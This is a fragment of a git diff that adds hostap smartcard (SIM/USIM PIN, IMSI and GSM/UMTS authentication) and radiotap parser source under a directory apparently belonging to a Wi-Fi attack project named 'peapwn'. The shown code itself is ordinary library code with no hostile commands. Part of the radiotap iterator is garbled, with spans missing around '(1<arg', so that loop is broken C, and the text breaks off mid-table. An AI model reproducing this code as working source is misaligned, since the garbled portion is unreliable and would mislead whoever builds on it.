0)) { + wpa_printf(MSG_DEBUG, "SCARD: USIM is not supported. Trying to use GSM SIM"); + scard->sim_type = SCARD_GSM_SIM; + } else { + wpa_printf(MSG_DEBUG, "SCARD: USIM is supported"); + scard->sim_type = SCARD_USIM; + } + + if (scard->sim_type == SCARD_GSM_SIM) { + blen = sizeof(buf); + if (scard_select_file(scard, SCARD_FILE_MF, buf, &blen)) { + wpa_printf(MSG_DEBUG, "SCARD: Failed to read MF"); + goto failed; + } + + blen = sizeof(buf); + if (scard_select_file(scard, SCARD_FILE_GSM_DF, buf, &blen)) { + wpa_printf(MSG_DEBUG, "SCARD: Failed to read GSM DF"); + goto failed; + } + } else { + unsigned char aid[32]; + int aid_len; + + aid_len = scard_get_aid(scard, aid, sizeof(aid)); + if (aid_len < 0) { + wpa_printf(MSG_DEBUG, "SCARD: Failed to find AID for " + "3G USIM app - try to use standard 3G RID"); + os_memcpy(aid, "\xa0\x00\x00\x00\x87", 5); + aid_len = 5; + } + wpa_hexdump(MSG_DEBUG, "SCARD: 3G USIM AID", aid, aid_len); + + /* Select based on AID = 3G RID from EF_DIR. This is usually + * starting with A0 00 00 00 87. */ + blen = sizeof(buf); + if (_scard_select_file(scard, 0, buf, &blen, scard->sim_type, + aid, aid_len)) { + wpa_printf(MSG_INFO, "SCARD: Failed to read 3G USIM " + "app"); + wpa_hexdump(MSG_INFO, "SCARD: 3G USIM AID", + aid, aid_len); + goto failed; + } + } + + /* Verify whether CHV1 (PIN1) is needed to access the card. */ + pin_needed = scard_pin_needed(scard, buf, blen); + if (pin_needed < 0) { + wpa_printf(MSG_DEBUG, "SCARD: Failed to determine whether PIN " + "is needed"); + goto failed; + } + if (pin_needed) { + scard->pin1_required = 1; + wpa_printf(MSG_DEBUG, "PIN1 needed for SIM access (retry " + "counter=%d)", scard_get_pin_retry_counter(scard)); + } + + ret = SCardEndTransaction(scard->card, SCARD_LEAVE_CARD); + if (ret != SCARD_S_SUCCESS) { + wpa_printf(MSG_DEBUG, "SCARD: Could not end transaction: " + "0x%x", (unsigned int) ret); + } + + return scard; + +failed: + if (transaction) + SCardEndTransaction(scard->card, SCARD_LEAVE_CARD); + os_free(readers); + scard_deinit(scard); + return NULL; +} + + +/** + * scard_set_pin - Set PIN (CHV1/PIN1) code for accessing SIM/USIM commands + * @scard: Pointer to private data from scard_init() + * @pin: PIN code as an ASCII string (e.g., "1234") + * Returns: 0 on success, -1 on failure + */ +int scard_set_pin(struct scard_data *scard, const char *pin) +{ + if (scard == NULL) + return -1; + + /* Verify whether CHV1 (PIN1) is needed to access the card. */ + if (scard->pin1_required) { + if (pin == NULL) { + wpa_printf(MSG_DEBUG, "No PIN configured for SIM " + "access"); + return -1; + } + if (scard_verify_pin(scard, pin)) { + wpa_printf(MSG_INFO, "PIN verification failed for " + "SIM access"); + return -1; + } + } + + return 0; +} + + +/** + * scard_deinit - Deinitialize SIM/USIM connection + * @scard: Pointer to private data from scard_init() + * + * This function closes the SIM/USIM connect opened with scard_init(). + */ +void scard_deinit(struct scard_data *scard) +{ + long ret; + + if (scard == NULL) + return; + + wpa_printf(MSG_DEBUG, "SCARD: deinitializing smart card interface"); + if (scard->card) { + ret = SCardDisconnect(scard->card, SCARD_UNPOWER_CARD); + if (ret != SCARD_S_SUCCESS) { + wpa_printf(MSG_DEBUG, "SCARD: Failed to disconnect " + "smart card (err=%ld)", ret); + } + } + + if (scard->ctx) { + ret = SCardReleaseContext(scard->ctx); + if (ret != SCARD_S_SUCCESS) { + wpa_printf(MSG_DEBUG, "Failed to release smart card " + "context (err=%ld)", ret); + } + } + os_free(scard); + mingw_unload_symbols(); +} + + +static long scard_transmit(struct scard_data *scard, + unsigned char *_send, size_t send_len, + unsigned char *_recv, size_t *recv_len) +{ + long ret; + unsigned long rlen; + + wpa_hexdump_key(MSG_DEBUG, "SCARD: scard_transmit: send", + _send, send_len); + rlen = *recv_len; + ret = SCardTransmit(scard->card, + scard->protocol == SCARD_PROTOCOL_T1 ? + SCARD_PCI_T1 : SCARD_PCI_T0, + _send, (unsigned long) send_len, + NULL, _recv, &rlen); + *recv_len = rlen; + if (ret == SCARD_S_SUCCESS) { + wpa_hexdump(MSG_DEBUG, "SCARD: scard_transmit: recv", + _recv, rlen); + } else { + wpa_printf(MSG_WARNING, "SCARD: SCardTransmit failed " + "(err=0x%lx)", ret); + } + return ret; +} + + +static int _scard_select_file(struct scard_data *scard, unsigned short file_id, + unsigned char *buf, size_t *buf_len, + sim_types sim_type, unsigned char *aid, + size_t aidlen) +{ + long ret; + unsigned char resp[3]; + unsigned char cmd[50] = { SIM_CMD_SELECT }; + int cmdlen; + unsigned char get_resp[5] = { SIM_CMD_GET_RESPONSE }; + size_t len, rlen; + + if (sim_type == SCARD_USIM) { + cmd[0] = USIM_CLA; + cmd[3] = 0x04; + get_resp[0] = USIM_CLA; + } + + wpa_printf(MSG_DEBUG, "SCARD: select file %04x", file_id); + if (aid) { + wpa_hexdump(MSG_DEBUG, "SCARD: select file by AID", + aid, aidlen); + if (5 + aidlen > sizeof(cmd)) + return -1; + cmd[2] = 0x04; /* Select by AID */ + cmd[4] = aidlen; /* len */ + os_memcpy(cmd + 5, aid, aidlen); + cmdlen = 5 + aidlen; + } else { + cmd[5] = file_id >> 8; + cmd[6] = file_id & 0xff; + cmdlen = 7; + } + len = sizeof(resp); + ret = scard_transmit(scard, cmd, cmdlen, resp, &len); + if (ret != SCARD_S_SUCCESS) { + wpa_printf(MSG_WARNING, "SCARD: SCardTransmit failed " + "(err=0x%lx)", ret); + return -1; + } + + if (len != 2) { + wpa_printf(MSG_WARNING, "SCARD: unexpected resp len " + "%d (expected 2)", (int) len); + return -1; + } + + if (resp[0] == 0x98 && resp[1] == 0x04) { + /* Security status not satisfied (PIN_WLAN) */ + wpa_printf(MSG_WARNING, "SCARD: Security status not satisfied " + "(PIN_WLAN)"); + return -1; + } + + if (resp[0] == 0x6e) { + wpa_printf(MSG_DEBUG, "SCARD: used CLA not supported"); + return -1; + } + + if (resp[0] != 0x6c && resp[0] != 0x9f && resp[0] != 0x61) { + wpa_printf(MSG_WARNING, "SCARD: unexpected response 0x%02x " + "(expected 0x61, 0x6c, or 0x9f)", resp[0]); + return -1; + } + /* Normal ending of command; resp[1] bytes available */ + get_resp[4] = resp[1]; + wpa_printf(MSG_DEBUG, "SCARD: trying to get response (%d bytes)", + resp[1]); + + rlen = *buf_len; + ret = scard_transmit(scard, get_resp, sizeof(get_resp), buf, &rlen); + if (ret == SCARD_S_SUCCESS) { + *buf_len = resp[1] < rlen ? resp[1] : rlen; + return 0; + } + + wpa_printf(MSG_WARNING, "SCARD: SCardTransmit err=0x%lx\n", ret); + return -1; +} + + +static int scard_select_file(struct scard_data *scard, unsigned short file_id, + unsigned char *buf, size_t *buf_len) +{ + return _scard_select_file(scard, file_id, buf, buf_len, + scard->sim_type, NULL, 0); +} + + +static int scard_get_record_len(struct scard_data *scard, unsigned char recnum, + unsigned char mode) +{ + unsigned char buf[255]; + unsigned char cmd[5] = { SIM_CMD_READ_RECORD /* , len */ }; + size_t blen; + long ret; + + if (scard->sim_type == SCARD_USIM) + cmd[0] = USIM_CLA; + cmd[2] = recnum; + cmd[3] = mode; + cmd[4] = sizeof(buf); + + blen = sizeof(buf); + ret = scard_transmit(scard, cmd, sizeof(cmd), buf, &blen); + if (ret != SCARD_S_SUCCESS) { + wpa_printf(MSG_DEBUG, "SCARD: failed to determine file " + "length for record %d", recnum); + return -1; + } + + wpa_hexdump(MSG_DEBUG, "SCARD: file length determination response", + buf, blen); + + if (blen < 2 || (buf[0] != 0x6c && buf[0] != 0x67)) { + wpa_printf(MSG_DEBUG, "SCARD: unexpected response to file " + "length determination"); + return -1; + } + + return buf[1]; +} + + +static int scard_read_record(struct scard_data *scard, + unsigned char *data, size_t len, + unsigned char recnum, unsigned char mode) +{ + unsigned char cmd[5] = { SIM_CMD_READ_RECORD /* , len */ }; + size_t blen = len + 3; + unsigned char *buf; + long ret; + + if (scard->sim_type == SCARD_USIM) + cmd[0] = USIM_CLA; + cmd[2] = recnum; + cmd[3] = mode; + cmd[4] = len; + + buf = os_malloc(blen); + if (buf == NULL) + return -1; + + ret = scard_transmit(scard, cmd, sizeof(cmd), buf, &blen); + if (ret != SCARD_S_SUCCESS) { + os_free(buf); + return -2; + } + if (blen != len + 2) { + wpa_printf(MSG_DEBUG, "SCARD: record read returned unexpected " + "length %ld (expected %ld)", + (long) blen, (long) len + 2); + os_free(buf); + return -3; + } + + if (buf[len] != 0x90 || buf[len + 1] != 0x00) { + wpa_printf(MSG_DEBUG, "SCARD: record read returned unexpected " + "status %02x %02x (expected 90 00)", + buf[len], buf[len + 1]); + os_free(buf); + return -4; + } + + os_memcpy(data, buf, len); + os_free(buf); + + return 0; +} + + +static int scard_read_file(struct scard_data *scard, + unsigned char *data, size_t len) +{ + unsigned char cmd[5] = { SIM_CMD_READ_BIN /* , len */ }; + size_t blen = len + 3; + unsigned char *buf; + long ret; + + cmd[4] = len; + + buf = os_malloc(blen); + if (buf == NULL) + return -1; + + if (scard->sim_type == SCARD_USIM) + cmd[0] = USIM_CLA; + ret = scard_transmit(scard, cmd, sizeof(cmd), buf, &blen); + if (ret != SCARD_S_SUCCESS) { + os_free(buf); + return -2; + } + if (blen != len + 2) { + wpa_printf(MSG_DEBUG, "SCARD: file read returned unexpected " + "length %ld (expected %ld)", + (long) blen, (long) len + 2); + os_free(buf); + return -3; + } + + if (buf[len] != 0x90 || buf[len + 1] != 0x00) { + wpa_printf(MSG_DEBUG, "SCARD: file read returned unexpected " + "status %02x %02x (expected 90 00)", + buf[len], buf[len + 1]); + os_free(buf); + return -4; + } + + os_memcpy(data, buf, len); + os_free(buf); + + return 0; +} + + +static int scard_verify_pin(struct scard_data *scard, const char *pin) +{ + long ret; + unsigned char resp[3]; + unsigned char cmd[5 + 8] = { SIM_CMD_VERIFY_CHV1 }; + size_t len; + + wpa_printf(MSG_DEBUG, "SCARD: verifying PIN"); + + if (pin == NULL || os_strlen(pin) > 8) + return -1; + + if (scard->sim_type == SCARD_USIM) + cmd[0] = USIM_CLA; + os_memcpy(cmd + 5, pin, os_strlen(pin)); + os_memset(cmd + 5 + os_strlen(pin), 0xff, 8 - os_strlen(pin)); + + len = sizeof(resp); + ret = scard_transmit(scard, cmd, sizeof(cmd), resp, &len); + if (ret != SCARD_S_SUCCESS) + return -2; + + if (len != 2 || resp[0] != 0x90 || resp[1] != 0x00) { + wpa_printf(MSG_WARNING, "SCARD: PIN verification failed"); + return -1; + } + + wpa_printf(MSG_DEBUG, "SCARD: PIN verified successfully"); + return 0; +} + + +int scard_get_pin_retry_counter(struct scard_data *scard) +{ + long ret; + unsigned char resp[3]; + unsigned char cmd[5] = { SIM_CMD_VERIFY_CHV1 }; + size_t len; + u16 val; + + wpa_printf(MSG_DEBUG, "SCARD: fetching PIN retry counter"); + + if (scard->sim_type == SCARD_USIM) + cmd[0] = USIM_CLA; + cmd[4] = 0; /* Empty data */ + + len = sizeof(resp); + ret = scard_transmit(scard, cmd, sizeof(cmd), resp, &len); + if (ret != SCARD_S_SUCCESS) + return -2; + + if (len != 2) { + wpa_printf(MSG_WARNING, "SCARD: failed to fetch PIN retry " + "counter"); + return -1; + } + + val = WPA_GET_BE16(resp); + if (val == 0x63c0 || val == 0x6983) { + wpa_printf(MSG_DEBUG, "SCARD: PIN has been blocked"); + return 0; + } + + if (val >= 0x63c0 && val <= 0x63cf) + return val & 0x000f; + + wpa_printf(MSG_DEBUG, "SCARD: Unexpected PIN retry counter response " + "value 0x%x", val); + return 0; +} + + +/** + * scard_get_imsi - Read IMSI from SIM/USIM card + * @scard: Pointer to private data from scard_init() + * @imsi: Buffer for IMSI + * @len: Length of imsi buffer; set to IMSI length on success + * Returns: 0 on success, -1 if IMSI file cannot be selected, -2 if IMSI file + * selection returns invalid result code, -3 if parsing FSP template file fails + * (USIM only), -4 if IMSI does not fit in the provided imsi buffer (len is set + * to needed length), -5 if reading IMSI file fails. + * + * This function can be used to read IMSI from the SIM/USIM card. If the IMSI + * file is PIN protected, scard_set_pin() must have been used to set the + * correct PIN code before calling scard_get_imsi(). + */ +int scard_get_imsi(struct scard_data *scard, char *imsi, size_t *len) +{ + unsigned char buf[100]; + size_t blen, imsilen, i; + char *pos; + + wpa_printf(MSG_DEBUG, "SCARD: reading IMSI from (GSM) EF-IMSI"); + blen = sizeof(buf); + if (scard_select_file(scard, SCARD_FILE_GSM_EF_IMSI, buf, &blen)) + return -1; + if (blen < 4) { + wpa_printf(MSG_WARNING, "SCARD: too short (GSM) EF-IMSI " + "header (len=%ld)", (long) blen); + return -2; + } + + if (scard->sim_type == SCARD_GSM_SIM) { + blen = (buf[2] << 8) | buf[3]; + } else { + int file_size; + if (scard_parse_fsp_templ(buf, blen, NULL, &file_size)) + return -3; + blen = file_size; + } + if (blen < 2 || blen > sizeof(buf)) { + wpa_printf(MSG_DEBUG, "SCARD: invalid IMSI file length=%ld", + (long) blen); + return -3; + } + + imsilen = (blen - 2) * 2 + 1; + wpa_printf(MSG_DEBUG, "SCARD: IMSI file length=%ld imsilen=%ld", + (long) blen, (long) imsilen); + if (blen < 2 || imsilen > *len) { + *len = imsilen; + return -4; + } + + if (scard_read_file(scard, buf, blen)) + return -5; + + pos = imsi; + *pos++ = '0' + (buf[1] >> 4 & 0x0f); + for (i = 2; i < blen; i++) { + unsigned char digit; + + digit = buf[i] & 0x0f; + if (digit < 10) + *pos++ = '0' + digit; + else + imsilen--; + + digit = buf[i] >> 4 & 0x0f; + if (digit < 10) + *pos++ = '0' + digit; + else + imsilen--; + } + *len = imsilen; + + return 0; +} + + +/** + * scard_get_mnc_len - Read length of MNC in the IMSI from SIM/USIM card + * @scard: Pointer to private data from scard_init() + * Returns: length (>0) on success, -1 if administrative data file cannot be + * selected, -2 if administrative data file selection returns invalid result + * code, -3 if parsing FSP template file fails (USIM only), -4 if length of + * the file is unexpected, -5 if reading file fails, -6 if MNC length is not + * in range (i.e. 2 or 3), -7 if MNC length is not available. + * + */ +int scard_get_mnc_len(struct scard_data *scard) +{ + unsigned char buf[100]; + size_t blen; + int file_size; + + wpa_printf(MSG_DEBUG, "SCARD: reading MNC len from (GSM) EF-AD"); + blen = sizeof(buf); + if (scard_select_file(scard, SCARD_FILE_GSM_EF_AD, buf, &blen)) + return -1; + if (blen < 4) { + wpa_printf(MSG_WARNING, "SCARD: too short (GSM) EF-AD " + "header (len=%ld)", (long) blen); + return -2; + } + + if (scard->sim_type == SCARD_GSM_SIM) { + file_size = (buf[2] << 8) | buf[3]; + } else { + if (scard_parse_fsp_templ(buf, blen, NULL, &file_size)) + return -3; + } + if (file_size == 3) { + wpa_printf(MSG_DEBUG, "SCARD: MNC length not available"); + return -7; + } + if (file_size < 4 || file_size > (int) sizeof(buf)) { + wpa_printf(MSG_DEBUG, "SCARD: invalid file length=%ld", + (long) file_size); + return -4; + } + + if (scard_read_file(scard, buf, file_size)) + return -5; + buf[3] = buf[3] & 0x0f; /* upper nibble reserved for future use */ + if (buf[3] < 2 || buf[3] > 3) { + wpa_printf(MSG_DEBUG, "SCARD: invalid MNC length=%ld", + (long) buf[3]); + return -6; + } + wpa_printf(MSG_DEBUG, "SCARD: MNC length=%ld", (long) buf[3]); + return buf[3]; +} + + +/** + * scard_gsm_auth - Run GSM authentication command on SIM card + * @scard: Pointer to private data from scard_init() + * @_rand: 16-byte RAND value from HLR/AuC + * @sres: 4-byte buffer for SRES + * @kc: 8-byte buffer for Kc + * Returns: 0 on success, -1 if SIM/USIM connection has not been initialized, + * -2 if authentication command execution fails, -3 if unknown response code + * for authentication command is received, -4 if reading of response fails, + * -5 if if response data is of unexpected length + * + * This function performs GSM authentication using SIM/USIM card and the + * provided RAND value from HLR/AuC. If authentication command can be completed + * successfully, SRES and Kc values will be written into sres and kc buffers. + */ +int scard_gsm_auth(struct scard_data *scard, const unsigned char *_rand, + unsigned char *sres, unsigned char *kc) +{ + unsigned char cmd[5 + 1 + 16] = { SIM_CMD_RUN_GSM_ALG }; + int cmdlen; + unsigned char get_resp[5] = { SIM_CMD_GET_RESPONSE }; + unsigned char resp[3], buf[12 + 3 + 2]; + size_t len; + long ret; + + if (scard == NULL) + return -1; + + wpa_hexdump(MSG_DEBUG, "SCARD: GSM auth - RAND", _rand, 16); + if (scard->sim_type == SCARD_GSM_SIM) { + cmdlen = 5 + 16; + os_memcpy(cmd + 5, _rand, 16); + } else { + cmdlen = 5 + 1 + 16; + cmd[0] = USIM_CLA; + cmd[3] = 0x80; + cmd[4] = 17; + cmd[5] = 16; + os_memcpy(cmd + 6, _rand, 16); + } + len = sizeof(resp); + ret = scard_transmit(scard, cmd, cmdlen, resp, &len); + if (ret != SCARD_S_SUCCESS) + return -2; + + if ((scard->sim_type == SCARD_GSM_SIM && + (len != 2 || resp[0] != 0x9f || resp[1] != 0x0c)) || + (scard->sim_type == SCARD_USIM && + (len != 2 || resp[0] != 0x61 || resp[1] != 0x0e))) { + wpa_printf(MSG_WARNING, "SCARD: unexpected response for GSM " + "auth request (len=%ld resp=%02x %02x)", + (long) len, resp[0], resp[1]); + return -3; + } + get_resp[4] = resp[1]; + + len = sizeof(buf); + ret = scard_transmit(scard, get_resp, sizeof(get_resp), buf, &len); + if (ret != SCARD_S_SUCCESS) + return -4; + + if (scard->sim_type == SCARD_GSM_SIM) { + if (len != 4 + 8 + 2) { + wpa_printf(MSG_WARNING, "SCARD: unexpected data " + "length for GSM auth (len=%ld, expected 14)", + (long) len); + return -5; + } + os_memcpy(sres, buf, 4); + os_memcpy(kc, buf + 4, 8); + } else { + if (len != 1 + 4 + 1 + 8 + 2) { + wpa_printf(MSG_WARNING, "SCARD: unexpected data " + "length for USIM auth (len=%ld, " + "expected 16)", (long) len); + return -5; + } + if (buf[0] != 4 || buf[5] != 8) { + wpa_printf(MSG_WARNING, "SCARD: unexpected SREC/Kc " + "length (%d %d, expected 4 8)", + buf[0], buf[5]); + } + os_memcpy(sres, buf + 1, 4); + os_memcpy(kc, buf + 6, 8); + } + + wpa_hexdump(MSG_DEBUG, "SCARD: GSM auth - SRES", sres, 4); + wpa_hexdump(MSG_DEBUG, "SCARD: GSM auth - Kc", kc, 8); + + return 0; +} + + +/** + * scard_umts_auth - Run UMTS authentication command on USIM card + * @scard: Pointer to private data from scard_init() + * @_rand: 16-byte RAND value from HLR/AuC + * @autn: 16-byte AUTN value from HLR/AuC + * @res: 16-byte buffer for RES + * @res_len: Variable that will be set to RES length + * @ik: 16-byte buffer for IK + * @ck: 16-byte buffer for CK + * @auts: 14-byte buffer for AUTS + * Returns: 0 on success, -1 on failure, or -2 if USIM reports synchronization + * failure + * + * This function performs AKA authentication using USIM card and the provided + * RAND and AUTN values from HLR/AuC. If authentication command can be + * completed successfully, RES, IK, and CK values will be written into provided + * buffers and res_len is set to length of received RES value. If USIM reports + * synchronization failure, the received AUTS value will be written into auts + * buffer. In this case, RES, IK, and CK are not valid. + */ +int scard_umts_auth(struct scard_data *scard, const unsigned char *_rand, + const unsigned char *autn, + unsigned char *res, size_t *res_len, + unsigned char *ik, unsigned char *ck, unsigned char *auts) +{ + unsigned char cmd[5 + 1 + AKA_RAND_LEN + 1 + AKA_AUTN_LEN] = + { USIM_CMD_RUN_UMTS_ALG }; + unsigned char get_resp[5] = { USIM_CMD_GET_RESPONSE }; + unsigned char resp[3], buf[64], *pos, *end; + size_t len; + long ret; + + if (scard == NULL) + return -1; + + if (scard->sim_type == SCARD_GSM_SIM) { + wpa_printf(MSG_ERROR, "SCARD: Non-USIM card - cannot do UMTS " + "auth"); + return -1; + } + + wpa_hexdump(MSG_DEBUG, "SCARD: UMTS auth - RAND", _rand, AKA_RAND_LEN); + wpa_hexdump(MSG_DEBUG, "SCARD: UMTS auth - AUTN", autn, AKA_AUTN_LEN); + cmd[5] = AKA_RAND_LEN; + os_memcpy(cmd + 6, _rand, AKA_RAND_LEN); + cmd[6 + AKA_RAND_LEN] = AKA_AUTN_LEN; + os_memcpy(cmd + 6 + AKA_RAND_LEN + 1, autn, AKA_AUTN_LEN); + + len = sizeof(resp); + ret = scard_transmit(scard, cmd, sizeof(cmd), resp, &len); + if (ret != SCARD_S_SUCCESS) + return -1; + + if (len <= sizeof(resp)) + wpa_hexdump(MSG_DEBUG, "SCARD: UMTS alg response", resp, len); + + if (len == 2 && resp[0] == 0x98 && resp[1] == 0x62) { + wpa_printf(MSG_WARNING, "SCARD: UMTS auth failed - " + "MAC != XMAC"); + return -1; + } else if (len != 2 || resp[0] != 0x61) { + wpa_printf(MSG_WARNING, "SCARD: unexpected response for UMTS " + "auth request (len=%ld resp=%02x %02x)", + (long) len, resp[0], resp[1]); + return -1; + } + get_resp[4] = resp[1]; + + len = sizeof(buf); + ret = scard_transmit(scard, get_resp, sizeof(get_resp), buf, &len); + if (ret != SCARD_S_SUCCESS || len > sizeof(buf)) + return -1; + + wpa_hexdump(MSG_DEBUG, "SCARD: UMTS get response result", buf, len); + if (len >= 2 + AKA_AUTS_LEN && buf[0] == 0xdc && + buf[1] == AKA_AUTS_LEN) { + wpa_printf(MSG_DEBUG, "SCARD: UMTS Synchronization-Failure"); + os_memcpy(auts, buf + 2, AKA_AUTS_LEN); + wpa_hexdump(MSG_DEBUG, "SCARD: AUTS", auts, AKA_AUTS_LEN); + return -2; + } else if (len >= 6 + IK_LEN + CK_LEN && buf[0] == 0xdb) { + pos = buf + 1; + end = buf + len; + + /* RES */ + if (pos[0] > RES_MAX_LEN || pos + pos[0] > end) { + wpa_printf(MSG_DEBUG, "SCARD: Invalid RES"); + return -1; + } + *res_len = *pos++; + os_memcpy(res, pos, *res_len); + pos += *res_len; + wpa_hexdump(MSG_DEBUG, "SCARD: RES", res, *res_len); + + /* CK */ + if (pos[0] != CK_LEN || pos + CK_LEN > end) { + wpa_printf(MSG_DEBUG, "SCARD: Invalid CK"); + return -1; + } + pos++; + os_memcpy(ck, pos, CK_LEN); + pos += CK_LEN; + wpa_hexdump(MSG_DEBUG, "SCARD: CK", ck, CK_LEN); + + /* IK */ + if (pos[0] != IK_LEN || pos + IK_LEN > end) { + wpa_printf(MSG_DEBUG, "SCARD: Invalid IK"); + return -1; + } + pos++; + os_memcpy(ik, pos, IK_LEN); + pos += IK_LEN; + wpa_hexdump(MSG_DEBUG, "SCARD: IK", ik, IK_LEN); + + return 0; + } + + wpa_printf(MSG_DEBUG, "SCARD: Unrecognized response"); + return -1; +} + + +int scard_supports_umts(struct scard_data *scard) +{ + return scard->sim_type == SCARD_USIM; +} diff --git a/peapwn/mods/hostap/src/utils/pcsc_funcs.h b/peapwn/mods/hostap/src/utils/pcsc_funcs.h new file mode 100644 index 000000000..eacd2a2d7 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/pcsc_funcs.h @@ -0,0 +1,42 @@ +/* + * WPA Supplicant / PC/SC smartcard interface for USIM, GSM SIM + * Copyright (c) 2004-2006, 2012, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef PCSC_FUNCS_H +#define PCSC_FUNCS_H + +#ifdef PCSC_FUNCS +struct scard_data * scard_init(const char *reader); +void scard_deinit(struct scard_data *scard); + +int scard_set_pin(struct scard_data *scard, const char *pin); +int scard_get_imsi(struct scard_data *scard, char *imsi, size_t *len); +int scard_get_mnc_len(struct scard_data *scard); +int scard_gsm_auth(struct scard_data *scard, const unsigned char *_rand, + unsigned char *sres, unsigned char *kc); +int scard_umts_auth(struct scard_data *scard, const unsigned char *_rand, + const unsigned char *autn, + unsigned char *res, size_t *res_len, + unsigned char *ik, unsigned char *ck, unsigned char *auts); +int scard_get_pin_retry_counter(struct scard_data *scard); +int scard_supports_umts(struct scard_data *scard); + +#else /* PCSC_FUNCS */ + +#define scard_init(r) NULL +#define scard_deinit(s) do { } while (0) +#define scard_set_pin(s, p) -1 +#define scard_get_imsi(s, i, l) -1 +#define scard_get_mnc_len(s) -1 +#define scard_gsm_auth(s, r, s2, k) -1 +#define scard_umts_auth(s, r, a, r2, rl, i, c, a2) -1 +#define scard_get_pin_retry_counter(s) -1 +#define scard_supports_umts(s) 0 + +#endif /* PCSC_FUNCS */ + +#endif /* PCSC_FUNCS_H */ diff --git a/peapwn/mods/hostap/src/utils/radiotap.c b/peapwn/mods/hostap/src/utils/radiotap.c new file mode 100644 index 000000000..804473fa4 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/radiotap.c @@ -0,0 +1,287 @@ +/* + * Radiotap parser + * + * Copyright 2007 Andy Green + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * Alternatively, this software may be distributed under the terms of BSD + * license. + * + * See README and COPYING for more details. + * + * + * Modified for userspace by Johannes Berg + * I only modified some things on top to ease syncing should bugs be found. + */ + +#include "includes.h" + +#include "common.h" +#include "radiotap_iter.h" + +#define le16_to_cpu le_to_host16 +#define le32_to_cpu le_to_host32 +#define __le32 uint32_t +#define ulong unsigned long +#define unlikely(cond) (cond) +#define get_unaligned(p) \ +({ \ + struct packed_dummy_struct { \ + typeof(*(p)) __val; \ + } __attribute__((packed)) *__ptr = (void *) (p); \ + \ + __ptr->__val; \ +}) + +/* function prototypes and related defs are in radiotap_iter.h */ + +/** + * ieee80211_radiotap_iterator_init - radiotap parser iterator initialization + * @iterator: radiotap_iterator to initialize + * @radiotap_header: radiotap header to parse + * @max_length: total length we can parse into (eg, whole packet length) + * + * Returns: 0 or a negative error code if there is a problem. + * + * This function initializes an opaque iterator struct which can then + * be passed to ieee80211_radiotap_iterator_next() to visit every radiotap + * argument which is present in the header. It knows about extended + * present headers and handles them. + * + * How to use: + * call __ieee80211_radiotap_iterator_init() to init a semi-opaque iterator + * struct ieee80211_radiotap_iterator (no need to init the struct beforehand) + * checking for a good 0 return code. Then loop calling + * __ieee80211_radiotap_iterator_next()... it returns either 0, + * -ENOENT if there are no more args to parse, or -EINVAL if there is a problem. + * The iterator's @this_arg member points to the start of the argument + * associated with the current argument index that is present, which can be + * found in the iterator's @this_arg_index member. This arg index corresponds + * to the IEEE80211_RADIOTAP_... defines. + * + * Radiotap header length: + * You can find the CPU-endian total radiotap header length in + * iterator->max_length after executing ieee80211_radiotap_iterator_init() + * successfully. + * + * Alignment Gotcha: + * You must take care when dereferencing iterator.this_arg + * for multibyte types... the pointer is not aligned. Use + * get_unaligned((type *)iterator.this_arg) to dereference + * iterator.this_arg for type "type" safely on all arches. + * + * Example code: + * See Documentation/networking/radiotap-headers.txt + */ + +int ieee80211_radiotap_iterator_init( + struct ieee80211_radiotap_iterator *iterator, + struct ieee80211_radiotap_header *radiotap_header, + int max_length) +{ + /* Linux only supports version 0 radiotap format */ + if (radiotap_header->it_version) + return -EINVAL; + + /* sanity check for allowed length and radiotap length field */ + if (max_length < le16_to_cpu(get_unaligned(&radiotap_header->it_len))) + return -EINVAL; + + iterator->rtheader = radiotap_header; + iterator->max_length = le16_to_cpu(get_unaligned( + &radiotap_header->it_len)); + iterator->arg_index = 0; + iterator->bitmap_shifter = le32_to_cpu(get_unaligned( + &radiotap_header->it_present)); + iterator->arg = (u8 *)radiotap_header + sizeof(*radiotap_header); + iterator->this_arg = NULL; + + /* find payload start allowing for extended bitmap(s) */ + + if (unlikely(iterator->bitmap_shifter & (1<arg)) & + (1<arg += sizeof(u32); + + /* + * check for insanity where the present bitmaps + * keep claiming to extend up to or even beyond the + * stated radiotap header length + */ + + if (((ulong)iterator->arg - (ulong)iterator->rtheader) + > (ulong)iterator->max_length) + return -EINVAL; + } + + iterator->arg += sizeof(u32); + + /* + * no need to check again for blowing past stated radiotap + * header length, because ieee80211_radiotap_iterator_next + * checks it before it is dereferenced + */ + } + + /* we are all initialized happily */ + + return 0; +} + + +/** + * ieee80211_radiotap_iterator_next - return next radiotap parser iterator arg + * @iterator: radiotap_iterator to move to next arg (if any) + * + * Returns: 0 if there is an argument to handle, + * -ENOENT if there are no more args or -EINVAL + * if there is something else wrong. + * + * This function provides the next radiotap arg index (IEEE80211_RADIOTAP_*) + * in @this_arg_index and sets @this_arg to point to the + * payload for the field. It takes care of alignment handling and extended + * present fields. @this_arg can be changed by the caller (eg, + * incremented to move inside a compound argument like + * IEEE80211_RADIOTAP_CHANNEL). The args pointed to are in + * little-endian format whatever the endianess of your CPU. + * + * Alignment Gotcha: + * You must take care when dereferencing iterator.this_arg + * for multibyte types... the pointer is not aligned. Use + * get_unaligned((type *)iterator.this_arg) to dereference + * iterator.this_arg for type "type" safely on all arches. + */ + +int ieee80211_radiotap_iterator_next( + struct ieee80211_radiotap_iterator *iterator) +{ + + /* + * small length lookup table for all radiotap types we heard of + * starting from b0 in the bitmap, so we can walk the payload + * area of the radiotap header + * + * There is a requirement to pad args, so that args + * of a given length must begin at a boundary of that length + * -- but note that compound args are allowed (eg, 2 x u16 + * for IEEE80211_RADIOTAP_CHANNEL) so total arg length is not + * a reliable indicator of alignment requirement. + * + * upper nybble: content alignment for arg + * lower nybble: content length for arg + */ + + static const u8 rt_sizes[] = { + [IEEE80211_RADIOTAP_TSFT] = 0x88, + [IEEE80211_RADIOTAP_FLAGS] = 0x11, + [IEEE80211_RADIOTAP_RATE] = 0x11, + [IEEE80211_RADIOTAP_CHANNEL] = 0x24, + [IEEE80211_RADIOTAP_FHSS] = 0x22, + [IEEE80211_RADIOTAP_DBM_ANTSIGNAL] = 0x11, + [IEEE80211_RADIOTAP_DBM_ANTNOISE] = 0x11, + [IEEE80211_RADIOTAP_LOCK_QUALITY] = 0x22, + [IEEE80211_RADIOTAP_TX_ATTENUATION] = 0x22, + [IEEE80211_RADIOTAP_DB_TX_ATTENUATION] = 0x22, + 